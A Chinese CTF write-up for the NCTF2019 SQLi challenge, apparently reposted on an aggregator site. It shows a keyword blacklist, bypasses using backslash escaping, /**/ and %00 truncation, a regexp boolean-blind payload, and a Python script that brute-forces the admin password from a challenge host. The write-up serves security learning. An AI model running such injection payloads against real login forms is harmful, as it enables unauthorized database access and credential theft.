[NCTF2019]SQLi:regexp正则注入

2024-01-19 08:38

本文主要是介绍[NCTF2019]SQLi:regexp正则注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 题目
    • regexp正则注入
        • (1)模糊注入
        • (2)布尔盲注的regexp注入
        • (3)盲注脚本:
        • (4)使用%00进行注释
    • 总结
        • 收获
        • 参考


题目

  登陆框。
给出后台查询语句sqlquery : select * from users where username='' and passwd=''

  信息搜集:手测黑名单

	闭合黑名单:'
可用闭合:转义字符\。
对于语句username='' and passwd='',可以在username使用\闭合,
从而使username='\' and passwd='',即username=' and passwd='注入代码+注释符'。逻辑运算符黑名单:Or、And、Xor
可用逻辑运算符:||、&&、^。注释符黑名单:#、--+、单引号闭合
可用注释符:;%00运算符黑名单:=空格黑名单:space、+
可用替换符:/**/、%09等函数黑名单:()
可用替换符:(xxx)逗号黑名单:,
难题:联合查询和报错查询都不能用了,只能考虑盲注。关键词黑名单:查询Union、Select。库In、表Table
难题:这他么还能做吗?用户名黑名单:Admin

  不能绕过黑名单的盲注语句,或者说不能使用if子句
and if(substr((select id from flag ),1,1)=1,sleep(2),1)
and if(substr((select database()),1,1)=‘s’),sleep(3),1)%23
and if(length(database())>8,sleep(3),1)


regexp正则注入

  like语句是对where子句的检索条件,可以使用like子句代替等号=
MySQL中也支持Regexp操作符,进行正则表达式匹配。

  利用条件:要知道列名。(只能查询select语句中给定的表)

  劣势:不能跨表查询,只是在where子句中使用逻辑运算符。
优势:对于bool盲注,只需要引号^两个字符。

(1)模糊注入

  likeregexp模糊匹配用于where子句。
在SQL注入中一般都是进行字符拼接,
常见语句为select xx from xx where id='$id'
则模糊注入:id=' || id like "2"%23,以及id=' || id regexp "2"%23
完整语句为:select xx from xx where id='' || id like "2"%23

	regexp实例,字符串注意支持使用单/双引号,带反引号会被当做列名。大概有10种模式。A.三种数据模式:开头、结尾、包含:
以st开头的所有数据:username regexp '^st'。结尾"ok$".。包含"ok"。
(2)布尔盲注的regexp注入

A.首先构造真条件,由于username为False,所以使用运算符||
B.根据页面输出语句,知道username和passwd列,也可以猜列名flag。
C.如何遍历列值,使用开头^逐位进行扩展。不知道首位字母时,最懒最累的方式就是遍历出a-z开头的所有列值,或者猜首位是flag或cicsn。

(3)盲注脚本:

  SQL注入不仅仅是SQL注入,robots.txt有提示。

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST['passwd'] === admin's password,
Then you will get the flag;

  使用任意用户和爆破出的密码登录,拿到flag。

	本题基础Payload
username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00# -*- coding:utf-8 -*-import requests
import string
url = "http://68329ef5-f7a1-4721-854c-9e056f6d59df.node3.buuoj.cn/"
bool_str = "welcome"
passwd = ""
mystr = string.ascii_lowercase + string.digits + '_' + '{' + '}' + '-'for i in range(1, 50):  # 单列的字符个数。针对passwd只有一行的情况for letter in mystr:# 找出1个字符。range()函数左闭右开,可打印字符是[32,126]。# 注意这里是正则,所以正则的10个模式都不能用。使用小写字母、数字、_、-、{}payload = "||/**/passwd/**/regexp/**/\"^f{}\";{}".format(passwd + letter, chr(0))data = {"username": "\\", "passwd": payload}res = requests.post(url, data=data)if (bool_str in res.text):passwd += letterprint("第" + str(i) + "字符:"+passwd)break爆破枚举passwd:you_will_never_know7788990
(4)使用%00进行注释

  该符号不是MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。
(比如文件上传中的00截断漏洞)

  在Python脚本中的使用:Python访问浏览器,会进行一次URL编码,
因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。

  问题变成了:如何在Python输入不可打印字符?
可以使用parse.unquote(’%00’),或者chr(0),二者都需要使用.format()进行格式化输出。完整格式.format(parse.unquote('%00')).format(chr(0))


总结

收获

  (1)模糊匹配注入:regexp注入,like注入。

  (2)%00截断的注释效果。

  (3)强大的黑名单,以及把写的fuzz字典用起来的决心。

参考

  《mysql闭合符号被过滤_当注入函数被过滤时的Mysql注入小技巧》,2021-01
https://blog.csdn.net/weixin_42184548/article/details/113271095

  《被过滤了引号的SQL注入如何破?》,2020-03
https://www.jianshu.com/p/51dbabf45a95

  《【附件】python脚本提交 url编码的%00问题 以及 ascii(0)和 chr(0)》
https://blog.csdn.net/Zero_Adam/article/details/114848065

  《刷题记录-[NCTF2019]SQLi》,2020-05
https://blog.csdn.net/weixin_43610673/article/details/106029042

  《[NCTF2019]SQLi》,2020-09
https://www.cnblogs.com/h3ng/p/13736621.html

这篇关于[NCTF2019]SQLi:regexp正则注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/621867

相关文章

SpringBoot项目注入 traceId 追踪整个请求的日志链路(过程详解)

《SpringBoot项目注入traceId追踪整个请求的日志链路(过程详解)》本文介绍了如何在单体SpringBoot项目中通过手动实现过滤器或拦截器来注入traceId,以追踪整个请求的日志链... SpringBoot项目注入 traceId 来追踪整个请求的日志链路,有了 traceId, 我们在排

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r

Go 依赖注入库dig

简介 今天我们来介绍 Go 语言的一个依赖注入(DI)库——dig。dig 是 uber 开源的库。Java 依赖注入的库有很多,相信即使不是做 Java 开发的童鞋也听过大名鼎鼎的 Spring。相比庞大的 Spring,dig 很小巧,实现和使用都比较简洁。 快速使用 第三方库需要先安装,由于我们的示例中使用了前面介绍的go-ini和go-flags,这两个库也需要安装: $ go g

Web安全之SQL注入:如何预防及解决

SQL注入(SQL Injection)是最常见的Web应用漏洞之一,它允许攻击者通过注入恶意SQL代码来操作数据库,获取、修改或删除数据。作为Java开发者,理解并防止SQL注入攻击是至关重要的。在本篇文章中,我们将详细介绍SQL注入的原理,演示如何在电商交易系统中出现SQL注入漏洞,并提供正确的防范措施和解决方案。 1. 什么是SQL注入? SQL注入是一种通过在用户输入中嵌入恶意SQL代

python进阶篇-day07-高级语法与正则

day07-python其他高级语法 一. with(上下文管理) 介绍 概述 一个类只要实现了__ enter __ () 和 __ exit __ ()方法, 这个类就是一个上下文管理器类, 该类的对象 = 上下文管理器对象 目的 节约资源, 提高效率, 避免手动释放资源, 且出bug的时候, 也会自动尝试释放资源 特点 上下文管理器对象, 可以结合with语句使用

网络安全(sql注入)

这里写目录标题 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表1. information_schema.schemata2. information_schema.tables 二. 判断注入类型1. 判断数字型还是字符型注入2. 判断注入闭合是""还是'' 三. 判

JavaScript中使用正则判断一个值是否是数字,包含正负,小数点

使用正则表达式来判断: if(/^[+-]?\d*\.?\d*$/.test(str)){//为数字} 实际情况中可以将+去掉,